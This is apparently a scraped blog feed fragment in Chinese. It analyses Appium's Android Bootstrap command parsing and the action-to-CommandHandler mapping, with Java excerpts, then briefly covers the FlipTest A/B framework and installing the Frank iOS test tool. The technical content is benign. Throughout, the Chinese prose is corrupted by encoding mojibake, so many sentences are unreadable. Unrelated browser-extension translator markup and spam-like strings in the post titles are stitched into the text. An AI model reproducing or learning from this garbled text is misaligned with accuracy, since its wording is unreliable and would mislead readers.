src="//www.51testing.com/attachments/2014/12/14982672_201412110911452dLU9.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><strong style="word-break: break-all;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">1. Appium命o解析器AndroidCommand</a></strong></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  AndroidCommandq个cȝ实的作用其实是LAppium从pc端发送过来的那串json命o解析出来Q它拥有两个成员变量Q?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  JSONObject         json;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  AndroidCommandType cmdType;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  json是pcq来的json格式的那串命令,cmdType是action或者shutdownQ其实就是用来把q个cM装成更像个命令类而已Q我认ؓ如果不提供这个成员变量而直接修改其getType的实现去解析json字串直接获得对应的AndroidCommandTypeQ然后把q个cȝ名字ҎAndroidCommandParser得了?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  那么我们往下看下AndroidCommandI竟是怎么对客L命oq行解析的,它的Ҏ都很短,所以我把它做成一个表Q这h较清晰点Q?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="//www.51testing.com/attachments/2014/12/14982672_201412110911453mrzV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">  从表中的q些Ҏ可以看出来,q个cL做的事情基本上都是怎么去解析appium从pc端过来的那串json字串?br /><br /></a><a target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 2. Action与CommandHandler的映关p?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  从上面描q可以知道,一个action是一个代表该命o的字Ԍ比如‘click’。但是一个字串是不能L行的啊,所以我们需要有一U方式把它{换成可以执行的代码,q个是AndroidCommandExecutorl护的一个静态HashMap map所做的事情Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">class AndroidCommandExecutor {</div><div style="word-break: break-all; margin: 10px 0px;">private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();</div><div style="word-break: break-all; margin: 10px 0px;">static {</div><div style="word-break: break-all; margin: 10px 0px;">map.put("waitForIdle", new WaitForIdle());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("clear", new Clear());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("orientation", new Orientation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("swipe", new Swipe());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("flick", new Flick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("drag", new Drag());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pinch", new Pinch());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("click", new Click());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchLongClick", new TouchLongClick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchDown", new TouchDown());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchUp", new TouchUp());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchMove", new TouchMove());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getText", new GetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("setText", new SetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getName", new GetName());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getAttribute", new GetAttribute());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDeviceSize", new GetDeviceSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("scrollTo", new ScrollTo());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("find", new Find());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getLocation", new GetLocation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getSize", new GetSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("wake", new Wake());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressBack", new PressBack());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressKeyCode", new PressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("longPressKeyCode", new LongPressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("takeScreenshot", new TakeScreenshot());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("updateStrings", new UpdateStrings());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDataDir", new GetDataDir());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("performMultiPointerGesture", new MultiPointerGesture());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("openNotification", new OpenNotification());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("source", new Source());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  q个map指定了我们支持的pc端过来的所有actionQ以及对应的处理该action的类的实例,其实q些c都是CommandHandler的子cd本上只有一个:d现CommandHandler的虚拟方法executeQ要做的事情大概就q几c:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  控g相关的actionQ调用AndroidElement控g的成员变量UiObject el对应的方法来执行真实的操?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  UiDevice相关的actionQ调用UiDevice提供的方?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  UiScrollable相关的actionQ调用UiScrollable提供的方?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  UiAutomator?个对象都没有的actionQ该调用InteractionController的就反射调用Q该调用QueryController的就反射调用。注意这两个cUiAutomator是没有提供直接调用的Ҏ的,所以只能通过反射。更多这两个cȝ信息L看之前的UiAutomator源码分析相关的文?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  其他Q如取得compressedLayoutHierarchy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  指导action向CommandHandler真正发生转换的地Ҏ在这个AndroidCommandExecutor的executeҎ中:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command) {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.debug("Got command action: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">if (map.containsKey(command.action())) {</div><div style="word-break: break-all; margin: 10px 0px;">return map.get(command.action()).execute(command);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,</div><div style="word-break: break-all; margin: 10px 0px;">"Unknown command: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final JSONException e) {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.error("Could not decode action/params of command");</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,</div><div style="word-break: break-all; margin: 10px 0px;">"Could not decode action/params of command, please check format!");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  它首先叫上面的AndroidCommand解析器把json字串的actionl解析出?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后通过刚提到的map把这个action对应的CommandHandler的实现类l实例化</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后调用q个命o处理cȝexecuteҎ开始执行命?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  <strong style="word-break: break-all; line-height: normal !important;">3. 命o处理CZ</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  我们q里q例性的看下getTextq个action对应的CommandHandler是怎么去通过AndroidElement控gq行讄文本的处理的Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public class GetText extends CommandHandler {</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">* @param command The {@link AndroidCommand} used for this handler.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidCommandResult}</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @throws JSONException</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.</div><div style="word-break: break-all; margin: 10px 0px;">* bootstrap.AndroidCommand)</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@Override</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command)</div><div style="word-break: break-all; margin: 10px 0px;">throws JSONException {</div><div style="word-break: break-all; margin: 10px 0px;">if (command.isElementCommand()) {</div><div style="word-break: break-all; margin: 10px 0px;">// Only makes sense on an element</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">final AndroidElement el = command.getElement();</div><div style="word-break: break-all; margin: 10px 0px;">return getSuccessResult(el.getText());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,</div><div style="word-break: break-all; margin: 10px 0px;">e.getMessage());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final Exception e) { // handle NullPointerException</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unknown error");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unable to get text without an element.");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  关键代码是里面通过AndroidCommand的getElementҎQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  解析传进来的AndroidCommand实例保存的pc端过来的json字串Q找?#8217;params‘的子项’elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  通过q个获得的idL件哈希表Q请查看《Appium Android Bootstrap源码分析之控件AndroidElement》)中找到目标AndroidElement控g对象</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后调用获得的AndroidElement控g对象的getTextҎQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  最l通过调用AndroidElement控g成员UiObject控g对象的getTextҎ取得控g文本信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 4. 结</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  bootstrap接收到appium从pc端发送过来的json格式的键值对字串有多个项Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  cmd: q是一个actionq是一个shutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  actionQ如果是一个action的话Q那么是什么actionQ比如click</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  params:拥有其他的一些子,比如指定操作控g在AndroidElementHashl护的控件哈希表的控仉值的'elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  在收到这个json格式命o字串后:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  AndroidCommandExecutor会调用AndroidCommand去解析出对应的action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后把action去map到对应的真实命o处理ҎCommandHandler的实现子cd象中</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  然后调用对应的对象的executeҎ来执行命?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">相关文章Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap源码分析之简?/div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap之控件AndroidElement</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(//www.51testing.com/wx.jpg) no-repeat;"></div></a></div></div> <div class="znkp"><div id="SL_button" class="ImTranslatorLogo" style="display: block; left: 552px; top: 2965px; opacity: 0.4; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English »</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center"> </td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a> : <a target="_blank" class="SL_options" title="ImTranslator Help">Help</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="//www.lmlez.icu/qileilove/aggbug/421668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="//www.lmlez.icu/qileilove/" target="_blank">其自然EVO</a> 2014-12-23 00:25 <a href="//www.lmlez.icu/qileilove/archive/2014/12/23/421668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Fliptest—iOS 的应用A/B试框架 - 4399ɱol|ɱ佫//www.lmlez.icu/qileilove/archive/2014/12/23/421666.html其自然EVO其自然EVOMon, 22 Dec 2014 16:22:00 GMT//www.lmlez.icu/qileilove/archive/2014/12/23/421666.html//www.lmlez.icu/qileilove/comments/421666.html//www.lmlez.icu/qileilove/archive/2014/12/23/421666.html#Feedback0//www.lmlez.icu/qileilove/comments/commentRss/421666.html//www.lmlez.icu/qileilove/services/trackbacks/421666.html
 FlipTest是专为iOS设计?a target="_self" style="word-break: break-all; color: #202859;">Ud应用A/B试框架Q通过它,开发者可以无需重新向App Store提交应用或重构代码,只需d一行代码,卛_直接在iOS应用上进行A/B试。对Ud应用?A/B 是非帔R的,?FlipTest 可以帮你化这个过E?/div>
  对于惌q求UI极致的开发者而言QFlipTestl对是最合适的试框架。FlipTest会ؓ应用选择最恰当的用L面,q会Z外观、可用性等众多因素q还试l果Q从而帮助开发者彻底解决UI问题?/div>


其自然EVO 2014-12-23 00:22 发表评论
]]>iOS功能试工具 Frank - 4399ɱol|ɱ佫//www.lmlez.icu/qileilove/archive/2014/12/23/421667.html其自然EVO其自然EVOMon, 22 Dec 2014 16:22:00 GMT//www.lmlez.icu/qileilove/archive/2014/12/23/421667.html//www.lmlez.icu/qileilove/comments/421667.html//www.lmlez.icu/qileilove/archive/2014/12/23/421667.html#Feedback0//www.lmlez.icu/qileilove/comments/commentRss/421667.html//www.lmlez.icu/qileilove/services/trackbacks/421667.html  Frank也是一ƾ深受开发者喜qiOS应用框架Q该框架可以模拟用户操作对应用程序进?/span>黑盒试Qƈ使用Cucumber作ؓ自然语言来编?/span>试用例。此外,Frankq会对应用测试操作进行记录,以帮助开发者进行测试回?/span>
  一、基本介l?/strong>
  Frank是ios开发环境下一Ƒ֮现自动测试的工具?/div>
  Xcode环境下开发完成后Q通过Frank实现l构化的试用例Q其底层语言?a target="_self" style="word-break: break-all; color: #202859;">Ruby。作ZƑּ源的iOS试工具Q在国外已经有广泛的应用。但是国内相兌料却比较。其最大的优点是允许我们用熟悉的自然语a实现实际的操作逻辑?/div>
  一般而言Q测试文件由一?feature文g和一?rb文gl成?feature文g包含的是试操作的自然语a描述部分Q内部可以包含多个测试用例,以标{(@tagnameQ的形式唯一标识Q每个用例的首行必须有Scenario: some descriptionQ?rb文g则是ruby实现逻辑Q通过正则表达式匹?feature文g中的每一句自然语aQ然后执行相应的逻辑操作Q最l实现自动测试的目的?/div>
  二、安?/strong>
  1.       Terminal 输入sudo gem install frank-cucumber,下蝲q安装Frank
  2.       Terminal q入工程所在\径,工程根目?/div>
  3.       输入Qfrank-skeletonQ会在工E根目录新徏Frank文g?/div>
  4.       q回Xcode界面Q右键Targets下的APPQ选择复制QDuplicate only
  5.       双击APPname copyQ更改副本名Q例?Appname Frankified
  6.       叛_APPQAdd Files to Appname……
  7.       N副本,其余取消选定。选择新徏的Frank文g夹,Add.
  8.       选择APPQ中间部分Build Phases选项卡,Link Binary With LibrariesàCFNetwork.frameworkQAdd.
  9.       依旧中间部分Q选择Build Settings选项卡,Other Linker FlagsQ双击,d“-all_load”?#8220;ObjC”
  10.   左上角,Scheme SelectorQ在RUN和STOP按钮的右边,选择Appname copy-IPHONE
  11.   览器中打开//localhost:37265Q可以在览器中看到植入Frank的应?/div>
  我在d了两个flag之后老是报错Q尝试了NU方法之后烦性全部删掉,l果可以了Q无?/div>
  三、基本步?/strong>
  1.       terminal 切换到Frank文gҎ在目?/div>
  2.       frank launch, 打开simulatorQ开始运?默认是用IPHONE simulator,要用IPAD simulatorӞ需要如下命令行Q添加参敎ͼfrank launch --idiom ipad)
  3.       cucumber Frank/features/my_first.feature --tags @tagname Q注意tags前面两个‘-’QPS:如果没有tag则自动运行文件中所有case


4399ɱol 2014-12-23 00:22 发表评论
]]>